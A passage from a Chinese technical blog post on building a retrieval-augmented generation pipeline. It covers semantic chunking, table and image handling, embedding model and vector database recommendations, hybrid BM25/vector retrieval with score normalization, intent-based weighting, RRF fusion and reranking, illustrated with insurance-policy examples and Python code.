&lt;li&gt;小节仍过长时，按&quot;段落&quot;切分&lt;/li&gt;
&lt;li&gt;特殊元素（表格/图片）单独成chunk&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;def semantic_chunking(parsed_doc):
    &quot;&quot;&quot;
    语义感知切分
    &quot;&quot;&quot;
    chunks = []

    # Step 1: 识别文档结构
    sections = extract_hierarchy(parsed_doc)  # 后面详细讲

    for section in sections:
        # Step 2: 计算章节token数
        section_tokens = count_tokens(section.content)

        if section_tokens &amp;lt;= MAX_CHUNK_SIZE:  # 1024
            # 情况1: 章节长度合适，直接作为chunk
            chunks.append(create_chunk(section))
        else:
            # 情况2: 章节过长，递归切分
            chunks.extend(split_large_section(section))

    # Step 3: 添加overlap
    chunks = add_overlap(chunks, overlap_size=100)

    return chunks
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;step1:  识别文档结构&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;各种文档的结构很复杂：&lt;/p&gt;
&lt;p&gt;有的用数字编号：1. → 1.1 → 1.1.1&lt;/p&gt;
&lt;p&gt;有的用中文编号：第一条 → （一）→ 1.&lt;/p&gt;
&lt;p&gt;有的用标题大小：标题1 → 标题2 → 标题3&lt;/p&gt;
&lt;p&gt;还有混合编号等&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;我的解决方案：多策略融合&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def extract_hierarchy(parsed_doc):
    &quot;&quot;&quot;
    提取文档层级结构

    优先级：
    1. 法律编号（第X条） &amp;gt; 数字编号（1.1） &amp;gt; 字母编号（a）
    2. 字体大小：H1 &amp;gt; H2 &amp;gt; H3
    3. 缩进层级
    &quot;&quot;&quot;
    # 策略1: 正则匹配常见编号模式
    patterns = [
        r&apos;^第[一二三四五六七八九十百]+条&apos;,   # 第三条
        r&apos;^\d+\.\d+\.\d+&apos;,                  # 1.1.1
        r&apos;^（([一二三四五]+)）&apos;,             # （一）
        r&apos;^\d+\.&apos;,                          # 1.
    ]

    # 策略2: 利用解析模块输出的样式信息
    # parsed_doc包含: font_size, bold, indent_level

    # 策略3: 训练一个层级分类器（XGBoost）
    # 特征: 编号类型、字体大小、是否加粗、缩进、位置
    hierarchy_level = hierarchy_classifier.predict(features)

    return build_tree(hierarchy_level)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step2: 超长章节的递归切分&lt;/h2&gt;
&lt;p&gt;没什么好说的，直接上代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def split_large_section(section, max_size=1024, min_size=256):
    &quot;&quot;&quot;
    超长章节的切分策略
    原则：尽量保持语义完整性
    &quot;&quot;&quot;
    chunks = []

    # 策略1: 先尝试按&quot;小节&quot;切
    subsections = section.get_subsections()
    if subsections:
        for sub in subsections:
            if count_tokens(sub) &amp;lt;= max_size:
                chunks.append(sub)
            else:
                # 递归切分
                chunks.extend(split_large_section(sub))
        return chunks

    # 策略2: 没有小节，按&quot;段落&quot;切
    paragraphs = section.get_paragraphs()
    current_chunk = []
    current_tokens = 0

    for para in paragraphs:
        para_tokens = count_tokens(para)

        # 关键判断：是否应该合并到当前chunk
        if current_tokens + para_tokens &amp;lt;= max_size:
            current_chunk.append(para)
            current_tokens += para_tokens
        else:
            # 保存当前chunk
            if current_tokens &amp;gt;= min_size:  # 避免太小的chunk
                chunks.append(merge(current_chunk))
                current_chunk = [para]
                current_tokens = para_tokens

    # 最后一个chunk
    if current_chunk:
        chunks.append(merge(current_chunk))

    # 策略3: 单个段落仍超长，按句子切（最后手段）
    chunks = [split_by_sentence(c) if count_tokens(c) &amp;gt; max_size else c
              for c in chunks]

    return chunks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;后面还可以做专门的语义完整性检查模块降低截断率&lt;/p&gt;
&lt;h2&gt;Step3: overlap策略&lt;/h2&gt;
&lt;p&gt;overlap的作用：防止关键信息被切分到两个chunk的边界，导致检索遗漏。&lt;/p&gt;
&lt;p&gt;经过我的实际测试，overlap在 100 tokens左右是性价比最优点。&lt;/p&gt;
&lt;p&gt;但是固定overlap有个问题：可能在句子中间截断。所以可以做成基于句子边界的overlap形式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def add_smart_overlap(chunks, overlap_tokens=100):
    &quot;&quot;&quot;
    智能overlap：确保overlap边界是完整句子
    &quot;&quot;&quot;
    result = []

    for i, chunk in enumerate(chunks):
        if i == 0:
            result.append(chunk)
            continue

        # 获取前一个chunk的最后N个tokens
        prev_chunk = chunks[i-1]
        overlap_text = get_last_n_tokens(prev_chunk.content, overlap_tokens)

        # 关键：找到最近的句子边界
        overlap_text = truncate_to_sentence_boundary(overlap_text)

        # 合并
        new_content = overlap_text + chunk.content
        result.append(create_chunk(new_content, chunk.metadata))

    return result
    
 def truncate_to_sentence_boundary(text):
    &quot;&quot;&quot;
    截断到最近的句子边界
    &quot;&quot;&quot;
    # 找到最后一个句号/问号/叹号的位置
    sentence_ends = [&apos;.&apos;, &apos;。&apos;, &apos;?&apos;, &apos;？&apos;, &apos;!&apos;, &apos;！&apos;]
    last_end = -1
    for end in sentence_ends:
        pos = text.rfind(end)
        if pos &amp;gt; last_end:
            last_end = pos

    if last_end &amp;gt; 0:
        return text[last_end+1:]  # 返回最后一个完整句子之后的部分
    else:
        return text  # 找不到句子边界，返回原文
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Step4: 特殊元素处理&lt;/h2&gt;
&lt;p&gt;现在说说 特殊元素（表格/图片）单独成chunk 的细节&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;表格的切分策略&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;小表格：3行5列，300 tokens → 可以整体作为 chunk&lt;/p&gt;
&lt;p&gt;大表格：50行10列，5000 tokens → 超过了max_size&lt;/p&gt;
&lt;p&gt;我的方案：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def handle_table(table, max_size=1024):
    &quot;&quot;&quot;
    表格的智能切分
    &quot;&quot;&quot;
    table_tokens = count_tokens(table)

    if table_tokens &amp;lt;= max_size:
        # 情况1: 表格不大，整体作为chunk
        return [create_table_chunk(table)]

    else:
        # 情况2: 大表格，按&quot;语义单元&quot;切分

        # 策略A: 如果表格有分组
        if has_row_groups(table):
            return split_by_row_groups(table)

        # 策略B: 按固定行数切分，但保留表头
        else:
            chunks = []
            header = table.header
            rows_per_chunk = estimate_rows_per_chunk(table, max_size)

            for i in range(0, len(table.rows), rows_per_chunk):
                chunk_rows = table.rows[i:i+rows_per_chunk]
                # 关键：每个chunk都包含表头
                chunk = Table(header=header, rows=chunk_rows)
                chunks.append(create_table_chunk(chunk))

            return chunks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;图片的处理&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def handle_image(image):
    &quot;&quot;&quot;
    图片的处理策略
    &quot;&quot;&quot;
    # 策略1: 用多模态模型生成描述
    if is_chart_or_diagram(image):
        # 对于流程图、示意图
        description = gpt5.generate_description(image)
        return create_chunk(
            content=description,
            metadata={&apos;type&apos;: &apos;image&apos;, &apos;image_path&apos;: image.path}
        )

    # 策略2: 对于数据图表，提取结构化数据
    elif is_data_chart(image):
        # 用Deplot模型提取数据
        data = deplot.extract(image)
        return create_chunk(
            content=f&quot;图表数据: {data}&quot;,
            metadata={&apos;type&apos;: &apos;chart&apos;, &apos;image_path&apos;: image.path}
        )

    # 策略3: OCR提取文字
    else:
        text = ocr.extract(image)
        return create_chunk(content=text, metadata={&apos;type&apos;: &apos;image&apos;})
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;元数据设计&lt;/h2&gt;
&lt;p&gt;chunk里不仅有content，还要有metadata。metadata最起码要有下面这些信息：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;基础信息：文档 id、chunk唯一 id、页码&lt;/li&gt;
&lt;li&gt;结构信息：所属章节标题、章节路径、层级深度（用于答案溯源）&lt;/li&gt;
&lt;li&gt;类型信息: text / table / image 、是否是关键条款（用于检索加权）&lt;/li&gt;
&lt;li&gt;位置信息：在原PDF中的坐标、前一个chunk、后一个chunk（用于上下文扩展，如果检索到chunk语义不完整，自动拉取前后chunk）&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;向量入库&lt;/h1&gt;
&lt;p&gt;这部分没什么坑点，推荐一些向量化模型和向量库吧。&lt;/p&gt;
&lt;h2&gt;主流向量化模型&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;模型&lt;/th&gt;
&lt;th&gt;语言覆盖&lt;/th&gt;
&lt;th&gt;典型版本&lt;/th&gt;
&lt;th&gt;亮点 &amp;amp; 场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BGE&lt;/td&gt;
&lt;td&gt;中 - 英 + 多语&lt;/td&gt;
&lt;td&gt;bge-base-en/v1.5、bge-large-zh、bge-m3&lt;/td&gt;
&lt;td&gt;中文效果出色、8K 上下文、配套同名 reranker；MTEB 榜单同尺寸第一梯队&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;E5&lt;/td&gt;
&lt;td&gt;英语 / 多语&lt;/td&gt;
&lt;td&gt;e5-base-v2、multilingual-e5-*、e5-mistral-7B-instruct&lt;/td&gt;
&lt;td&gt;微调成本低，社区基线；新版 -v2 提升长文表现&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GTE&lt;/td&gt;
&lt;td&gt;中 - 英 / 多语&lt;/td&gt;
&lt;td&gt;gte-base-en-v1.5、gte-multilingual-base、gte-Qwen2-7B-instruct&lt;/td&gt;
&lt;td&gt;8K 上下文、在 MTEB 多语榜登顶；已有官方 reranker 发布&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Instructor&lt;/td&gt;
&lt;td&gt;英语&lt;/td&gt;
&lt;td&gt;Instructor-base / XL&lt;/td&gt;
&lt;td&gt;Instruction-tuning，一句提示可换任务，做分类 / 排序也很方便&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jina Embeddings v2&lt;/td&gt;
&lt;td&gt;英 / 中 / 多语版本&lt;/td&gt;
&lt;td&gt;jina-embeddings-v2-base-zh/en&lt;/td&gt;
&lt;td&gt;8K 长上下文、推理快；配合 Jina ColBERT 做长文检索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MiniLM / all-MiniLM&lt;/td&gt;
&lt;td&gt;英语&lt;/td&gt;
&lt;td&gt;all-MiniLM-L6-v2&lt;/td&gt;
&lt;td&gt;33M 参数的轻量模型，CPU 端极快，做边端检索常用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;一般情况下无脑 &lt;strong&gt;bge-m3&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;中文或中英混合：&lt;code&gt;bge-m3&lt;/code&gt; 或 &lt;code&gt;bge-large-zh&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;多语言：&lt;code&gt;gte-multilingual-base&lt;/code&gt; 或 &lt;code&gt;bge-m3&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;资源紧张 / 边缘设备：&lt;code&gt;e5-small&lt;/code&gt; 或 &lt;code&gt;MiniLM&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;长文 ≥ 8K token：&lt;code&gt;Jina Embeddings v2&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;主流向量库&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;向量库 / 数据库&lt;/th&gt;
&lt;th&gt;部署方式&lt;/th&gt;
&lt;th&gt;核心亮点&lt;/th&gt;
&lt;th&gt;适用场景&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;FAISS&lt;/td&gt;
&lt;td&gt;本地库（无服务）&lt;/td&gt;
&lt;td&gt;速度极快、轻量、纯内存 / 磁盘支持、百亿级向量规模&lt;/td&gt;
&lt;td&gt;本地实验、原型开发、中小数据量快速检索&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Chroma&lt;/td&gt;
&lt;td&gt;本地 / 嵌入式&lt;/td&gt;
&lt;td&gt;开箱即用、零配置、专为 RAG 优化、自带持久化&lt;/td&gt;
&lt;td&gt;新手入门、个人项目、快速验证原型&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Qdrant&lt;/td&gt;
&lt;td&gt;自部署 / 云托管&lt;/td&gt;
&lt;td&gt;高性能开源、支持复杂过滤、分片分布式、高并发&lt;/td&gt;
&lt;td&gt;中大型生产项目、高要求 RAG 系统&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Milvus / Zilliz&lt;/td&gt;
&lt;td&gt;自部署 / 云托管&lt;/td&gt;
&lt;td&gt;企业级分布式、支持百亿级向量、功能全面、国内生态完善&lt;/td&gt;
&lt;td&gt;超大规模数据、金融 / 政务等企业级场景&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Pinecone&lt;/td&gt;
&lt;td&gt;云托管服务&lt;/td&gt;
&lt;td&gt;全托管免运维、自动扩容、高并发稳定、支持实时更新&lt;/td&gt;
&lt;td&gt;SaaS 产品、不想维护基础设施的生产项目&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Weaviate&lt;/td&gt;
&lt;td&gt;自部署 / 云托管&lt;/td&gt;
&lt;td&gt;向量 + 知识图谱融合、混合检索、支持多模态&lt;/td&gt;
&lt;td&gt;知识图谱 + RAG 融合项目、复杂语义关联场景&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Elasticsearch (8.0+)&lt;/td&gt;
&lt;td&gt;自部署 / 云托管&lt;/td&gt;
&lt;td&gt;文本 + 向量混合检索、兼容现有 ES 生态、成熟稳定&lt;/td&gt;
&lt;td&gt;已有 ES 集群的老项目改造、混合检索需求&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;RAG 项目组合推荐：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;嵌入模型：&lt;strong&gt;bge-m3&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;向量库：&lt;strong&gt;Chroma（开发） / Qdrant（生产）&lt;/strong&gt;，企业更偏向于用 &lt;strong&gt;Milvus&lt;/strong&gt;，但大部分企业的数据规模其实根本没到那个级别，而&lt;strong&gt;Qdrant&lt;/strong&gt; 部署简单，运维成本低，内存占用低，查询延迟低。&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;向量检索&lt;/h1&gt;
&lt;p&gt;检索这一环是RAG的灵魂。&lt;/p&gt;
&lt;p&gt;现在业界主流的做法都是&lt;strong&gt;混合检索＋动态权重&lt;/strong&gt;了，架构也很成熟：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Query输入
  ↓
意图识别（分类：精确 vs 语义）
  ↓
  ├──→向量检索 → Top-K candidates + scores
  ↓
  └──→关键词检索 → Top-K candidates + scores
  ↓
分数归一化 + 动态加权融合
  ↓
去重 + 合并（RRF / 加权求和）
  ↓
粗排结果（Top-10）
  ↓
精排（Cross-Encoder重排序）
  ↓
最终Top-5 → 输入LLM
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;向量检索的技术细节&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;query查询优化&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;用户query通常很短，但文档chunk很长，向量相似度计算不准，所以需要 query 扩展：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def expand_query(query, method=&apos;llm&apos;):
    &quot;&quot;&quot;
    Query扩展：将短query扩展为更丰富的表达

    方法1: 用LLM改写
    方法2: 用同义词库扩展
    方法3: 用历史query学习
    &quot;&quot;&quot;
    if method == &apos;llm&apos;:
        # 用LLM生成query的多种表达
        prompt = f&quot;&quot;&quot;
用户问题：{query}

请生成3个语义相同但表达不同的问题，用于检索：
1. 更口语化的表达
2. 更专业化的表达
3. 包含相关术语的表达
&quot;&quot;&quot;
        expanded_queries = llm.generate(prompt)

        # 对每个扩展query做向量检索，合并结果
        all_results = []
        for q in expanded_queries:
            results = vector_search(q, top_k=3)
            all_results.extend(results)

        # 去重 + 重新排序
        return rerank(all_results)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;考虑到这种query扩展会极大增加查询延迟，所以只对核心业务场景使用query扩展，对简单FAQ不扩展。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;负样本挖掘&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;bge系列模型其实已经很强了，但在专业领域（比如保险领域）仍有提升空间。必要时可以构建数据进行微调：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 三元组：(query, positive_doc, negative_doc)
training_data = [
    {
        &apos;query&apos;: &apos;核辐射在保障范围吗&apos;,
        &apos;positive&apos;: &apos;第3条 责任免除：核辐射、核爆炸...&apos;,  # 正样本
        &apos;negative&apos;: &apos;第2条 保险责任：本保险承保...&apos;       # 负样本
    },
    ...
]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键是负样本要怎么选：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;随机负样本：随机一个chunk。但是这种模型基本上很难学到东西。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;难负样本：用当前检索模型，选择排名2-5但不相关的chunk。这些chunk&quot;看起来相关&quot;，但语义不对。这个方法给到夯，效果很好，模型可以学到更细粒度的区分。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def mine_hard_negatives(query, positive_doc, top_k=10):
    &quot;&quot;&quot;
    挖掘难负样本
    &quot;&quot;&quot;
    # 用当前模型检索
    candidates = vector_search(query, top_k=top_k)

    # 排除正样本
    hard_negatives = [c for c in candidates if c != positive_doc]

    # 取top 2-5（这些是&quot;看起来相关但实际不相关&quot;的）
    return hard_negatives[1:5]
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;Milvus的配置&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 索引类型：HNSW（层次化小世界图）
index_params = {
    &quot;index_type&quot;: &quot;HNSW&quot;,
    &quot;metric_type&quot;: &quot;IP&quot;,   # 内积（余弦相似度的等价形式）
    &quot;params&quot;: {
        &quot;M&quot;: 16,            # 每层的邻居数（越大越精确，但更慢）
        &quot;efConstruction&quot;: 200  # 构建索引时的搜索宽度
    }
}

# 搜索参数
search_params = {
    &quot;metric_type&quot;: &quot;IP&quot;,
    &quot;params&quot;: {&quot;ef&quot;: 64}  # 搜索宽度（越大越精确）
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;关键词检索的技术细节&lt;/h2&gt;
&lt;p&gt;关键词检索现在都是用 &lt;strong&gt;BM25&lt;/strong&gt;：
$$
\text{score}(q, d) = \sum_{q_i \in q} \text{IDF}(q_i) \times \frac{f(q_i, d) \cdot (k_1 + 1)}{f(q_i, d) + k_1 \cdot \left(1 - b + b \cdot \frac{|d|}{\text{avgdl}}\right)}
$$&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;核心含义&lt;/th&gt;
&lt;th&gt;补充说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;f(qi,d)&lt;/td&gt;
&lt;td&gt;词qi在文档d中的频率&lt;/td&gt;
&lt;td&gt;即词频，统计该查询词在目标文档中出现的总次数，是 BM25 得分的核心基础项&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;|d|&lt;/td&gt;
&lt;td&gt;文档长度&lt;/td&gt;
&lt;td&gt;目标文档的总词数（token 数），用于文档长度归一化计算&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;avgdl&lt;/td&gt;
&lt;td&gt;平均文档长度&lt;/td&gt;
&lt;td&gt;整个检索文档库中，所有文档的平均词数，是长度归一化的基准值&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;k1&lt;/td&gt;
&lt;td&gt;词频饱和参数&lt;/td&gt;
&lt;td&gt;行业通用取值为 1.2~2.0，用于控制词频对得分的影响上限，避免高频词堆砌导致的得分虚高&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;长度归一化参数&lt;/td&gt;
&lt;td&gt;行业通用取值为 0.75，用于平衡长文档和短文档的得分差异，避免长文档因词数更多获得不合理的高分&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;现在BM25都是一键设置，算法原理倒是不需要去深入理解了。在检索之前最好先进行一下文本的预处理。&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;文本预处理&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;def preprocess_text(text):
    &quot;&quot;&quot;
    关键词检索的文本预处理
    &quot;&quot;&quot;
    # Step 1: 分词（用jieba + 自定义词典）
    words = jieba.cut(text)

    # Step 2: 去除停用词
    stopwords = load_stopwords()  # &quot;的&quot;, &quot;了&quot;, &quot;在&quot;等
    words = [w for w in words if w not in stopwords]

    # Step 3: 同义词替换（关键！）
    synonym_dict = {
        &apos;小孩&apos;: &apos;儿童&apos;,
        &apos;孩子&apos;: &apos;儿童&apos;,
        &apos;未成年人&apos;: &apos;儿童&apos;,
        &apos;摔伤&apos;: &apos;意外伤害&apos;,
        &apos;摔倒&apos;: &apos;意外伤害&apos;,
        ...
    }
    words = [synonym_dict.get(w, w) for w in words]

    # Step 4: 提取关键词（可选，用于长文本）
    if len(words) &amp;gt; 20:
        words = extract_keywords(text, top_k=10)  # 用TF-IDF提取

    return words
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;Milvus的配置&lt;/strong&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;settings&quot;: {
    &quot;analysis&quot;: {
      &quot;analyzer&quot;: {
        &quot;insurance_analyzer&quot;: {
          &quot;type&quot;: &quot;custom&quot;,
          &quot;tokenizer&quot;: &quot;ik_max_word&quot;, // 中文分词
          &quot;filter&quot;: [
            &quot;lowercase&quot;,
            &quot;insurance_synonym&quot;, // 同义词过滤器
            &quot;insurance_stop&quot;     // 停用词过滤器
          ]
        }
      },
      &quot;filter&quot;: {
        &quot;insurance_synonym&quot;: {
          &quot;type&quot;: &quot;synonym&quot;,
          &quot;synonyms&quot;: [
            &quot;孩子,儿童,小孩,未成年人&quot;,
            &quot;摔伤,摔倒,跌倒 =&amp;gt; 意外伤害&quot;,
            ...
          ]
        }
      }
    }
  },
  &quot;mappings&quot;: {
    &quot;properties&quot;: {
      &quot;content&quot;: {
        &quot;type&quot;: &quot;text&quot;,
        &quot;analyzer&quot;: &quot;insurance_analyzer&quot;,
        &quot;fields&quot;: {
          &quot;keyword&quot;: { // 精确匹配字段
            &quot;type&quot;: &quot;keyword&quot;
          }
        }
      },
      &quot;section_title&quot;: {
        &quot;type&quot;: &quot;text&quot;,
        &quot;boost&quot;: 2.0 // 标题权重加倍
      }
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;混合检索的融合策略&lt;/h2&gt;
&lt;h3&gt;&lt;strong&gt;分数归一化&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;向量检索的分数范围：0.6-0.95（余弦相似度），BM25 的分数范围：0-50+（无上界），不能直接相加，需要进行一步归一化：&lt;/p&gt;
&lt;p&gt;min-max归一化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def normalize_scores(scores):
    &quot;&quot;&quot;
    将分数归一化到[0, 1]
    &quot;&quot;&quot;
    min_score = min(scores)
    max_score = max(scores)

    if max_score == min_score:
        return [0.5] * len(scores)  # 避免除零

    normalized = [(s - min_score) / (max_score - min_score) for s in scores]
    return normalized
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;更好的方法 : Z-score归一化&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def z_score_normalize(scores):
    &quot;&quot;&quot;
    Z-score归一化：处理异常值更鲁棒
    &quot;&quot;&quot;
    mean = np.mean(scores)
    std = np.std(scores)

    if std == 0:
        return [0.5] * len(scores)

    z_scores = [(s - mean) / std for s in scores]

    # 映射到[0, 1]（用sigmoid）
    normalized = [1 / (1 + np.exp(-z)) for z in z_scores]
    return normalized
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Z-score 归一化相比 min-max 归一化，对异常值更鲁棒，适合处理 BM25 这类容易出现极端高分的分数分布：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;先通过 Z-score 标准化，将分数转为均值为 0、方差为 1 的标准分布&lt;/li&gt;
&lt;li&gt;再用 Sigmoid 函数将结果映射到 &lt;code&gt;[0, 1]&lt;/code&gt; 区间&lt;/li&gt;
&lt;li&gt;加入了标准差为 0 的保护逻辑，避免除零错误&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong&gt;动态权重的设计&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;意图识别：用LLM做意图识别&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;INTENT_CLASSIFIER_PROMPT = &quot;&quot;&quot;
你是一个XX问答系统的意图分类器。

用户的问题可以分为两类：
1. 精确查询：包含专业术语、明确的概念，需要精确匹配
   - 例子：XXXX

2. 语义查询：口语化表达、描述场景，需要理解语义
   - 例子：XXXX

请判断以下问题属于哪一类，只回答&quot;精确&quot;或&quot;语义&quot;：

问题：{query}
分类：
&quot;&quot;&quot;

def classify_intent(query):
    &quot;&quot;&quot;
    用LLM做意图识别
    &quot;&quot;&quot;
    prompt = INTENT_CLASSIFIER_PROMPT.format(query=query)
    response = llm.generate(prompt, max_tokens=5)

    if &quot;精确&quot; in response:
        return &quot;exact&quot;
    elif &quot;语义&quot; in response:
        return &quot;semantic&quot;
    else:
        # 兜底：用启发式规则
        return heuristic_classify(query)


def heuristic_classify(query):
    &quot;&quot;&quot;
    启发式规则（作为LLM的备份）
    &quot;&quot;&quot;
    exact_keywords = [&apos;XXX&apos;, &apos;YYY&apos;, &apos;ZZZ&apos;, &apos;SSS&apos;, &apos;TTT&apos;, &apos;WWW&apos;]
    semantic_keywords = [&apos;111&apos;, &apos;222&apos;, &apos;333&apos;, &apos;444&apos;, &apos;555&apos;]

    for kw in exact_keywords:
        if kw in query:
            return &quot;exact&quot;

    for kw in semantic_keywords:
        if kw in query:
            return &quot;semantic&quot;

    # 默认：如果query很短（&amp;lt;5字），倾向于精确查询
    if len(query) &amp;lt; 5:
        return &quot;exact&quot;
    else:
        return &quot;semantic&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;权重的动态调整：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def get_fusion_weights(intent):
    &quot;&quot;&quot;
    根据意图返回融合权重
    返回: (vector_weight, bm25_weight)
    &quot;&quot;&quot;
    if intent == &quot;exact&quot;:
        # 精确查询：更依赖关键词匹配
        return (0.3, 0.7)
    elif intent == &quot;semantic&quot;:
        # 语义查询：更依赖向量检索
        return (0.7, 0.3)
    else:
        # 不确定：平均权重
        return (0.5, 0.5)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;&lt;strong&gt;结果融和算法&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;倒数排名融合（RRF）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def rrf_fusion(vector_results, bm25_results, k=60):
    &quot;&quot;&quot;
    RRF融合：对排名融合，而不是分数融合

    公式：RRF(d) = Σ 1/(k + rank_i(d))
    &quot;&quot;&quot;
    doc_scores = {}

    # 向量检索的排名贡献
    for rank, (doc_id, _) in enumerate(vector_results, start=1):
        doc_scores[doc_id] = 1 / (k + rank)

    # BM25的排名贡献
    for rank, (doc_id, _) in enumerate(bm25_results, start=1):
        if doc_id in doc_scores:
            doc_scores[doc_id] += 1 / (k + rank)
        else:
            doc_scores[doc_id] = 1 / (k + rank)

    # 排序
    ranked = sorted(doc_scores.items(), key=lambda x: x[1], reverse=True)
    return ranked[:10]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;精排的技术细节&lt;/h2&gt;
&lt;p&gt;向量检索只考虑query和chunk的向量相似度，是独立打分，BM25只考虑词匹配，无法理解语义相关性。&lt;/p&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;p&gt;Query: &quot;孩子摔伤住院，意外险能赔吗？&quot;&lt;/p&gt;
&lt;p&gt;Chunk A: &quot;第 2 条 保险责任：本保险承保意外伤害导致的医疗费用...&quot;&lt;/p&gt;
&lt;p&gt;Chunk B: &quot;第 3 条 责任免除：未成年人在校园内的伤害不予赔付...&quot;&lt;/p&gt;
&lt;p&gt;粗排可能给 Chunk B 更高分（因为包含 &quot;未成年人&quot;&quot; 伤害 &quot; 等关键词），但实际上 Chunk A 才是正确答案。&lt;/p&gt;
&lt;p&gt;精排要做的：理解 query 和 chunk 的深层语义关系&lt;/p&gt;
